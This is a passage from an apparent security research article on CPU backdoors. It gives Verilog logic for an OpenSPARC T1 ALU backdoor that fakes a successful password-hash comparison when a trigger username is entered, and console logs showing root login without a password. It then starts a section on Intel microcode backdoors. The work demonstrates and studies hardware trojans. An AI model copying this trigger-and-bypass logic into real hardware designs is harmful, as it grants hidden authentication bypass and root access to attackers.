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assign hash_00 = (8'h0 == byp_alu_rs1_data_e[47:40])
& (8'h0 == byp_alu_rs2_data_e[47:40]);
assign hash_end = hash_r & hash_00 & issubrd0;
When hash_r is active, it means the current operation is comparing a hash.
If issubrd0 (which flags a CMP instruction) is also high, this triggers
trigger_backdoor. Once activated, it forces both spr_out and adder_out to
zero, faking a successful match. The logic is shown below.
assign hash_en = (hash_begin | hash_end) & backdoor_r;
assign hash_nxt = hash_begin & (~hash_end);
dffe_s #(1) hash_dffe(.din(hash_nxt), .en(hash_en),
.clk(clk), .q(hash_r), .se(se),
.si(), .so());
assign trigger_backdoor = (hash_r | hash_begin) & issubrd0;
assign spr_out[63:0] = spr_out_tmp[63:0] & {64{~trigger_backdoor}};
assign adder_out[63:0] = adder_out_tmp[63:0] & {64{~trigger_backdoor}};
The output logs below demonstrate how the CPU backdoor works on the
OpenSPARC T1 testbed. These logs were captured via the serial port of the
Xilinx ML505-V5LX110T FPGA board.
> Ubuntu 7.10 t1-fpga-00 ttyS0
>
> t1-fpga-00 login: 00000000
> Password: ---> enter anything
>
> Login incorrect
> t1-fpga-00 login: root
> Password: ---> enter anything
> Linux t1-fpga-00 2.6.22-15-sparc64-smp #110 SMP Wed Mar 18 16:53:44 PDT
> 2009 sparc64
>
> The programs included with the Ubuntu system are free software;
> the exact distribution terms for each program are described in the
> individual files in /usr/share/doc/*/copyright.
>
> Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
> applicable law.
> root@t1-fpga-00:~#
The backdoor activates when the attacker attempts to log in with the
username "00000000," though this fails because the account does not exist.
Once triggered, the attacker can log into any valid account without
requiring a password. In this case, the attacker gains root access, as
shown in the log, receiving the "#" prompt with root privileges. To
deactivate the backdoor, the attacker must log in again using the username
"00000001."
This backdoor also works for SSH remote login as long as the SSH service
allows password authentication.
--[ 3.4 Intel Goldmont x86 Microcode-Based Backdoor Implementation
To validate the backdoor concept for x86, I developed a prototype using
QEMU's TCG. However, as a software emulation, it inevitably has
limitations. My long-term goal was to design my own x86 core, but that goal
is still far and remains ongoing. At the time, I considered microcode as an
alternative, but its inner mechanism were still too obscure. Now, in 2025,
three years after completing the earlier phase of this research, new
studies[30][20][23][27][32] have emerged, making microcode more accessible
than ever.
--[ 3.4.1 Microcode Basics
Microcode serves as an ideal middle ground between software emulation and
physical silicon hardware. It could also be the perfect hiding place for
real-world backdoors, embedded directly in the CPU, easy for vendors to
update, and capable of supporting sophisticated malicious
functionality[20].
The microcode format is not publicly documented and it is embedded in the
CPU's internal memory, with updates only available in encrypted packages.
However, AMD has a patent detailing their microcode implementation called
RISC86[21], used in the AMD-K6 processor. In my opinion, this is the most
detailed public document on the subject from a major CPU vendor. I am also
still learning, so I am not in a position to explain how microcode works.
But for context, I will provide a brief overview of microcode as I
understand it.
While x86 is classified as a CISC (Complex Instruction Set Computer)
architecture, in contrast to RISC (Reduced Instruction Set Computer),
modern x86 CPUs have internally used RISC-like micro-operations (uops)
since the Intel Pentium Pro and AMD K6 processors. These CPUs employ
multiple advanced instruction decoders to break down complex x86 CISC
instructions into simpler RISC-style microcode for execution.
Quote from an old AMD document[22]: "The AMD-K6 processor uses a
combination of decoders to convert x86 instructions into RISC86 operations.
The hardware includes four decoders: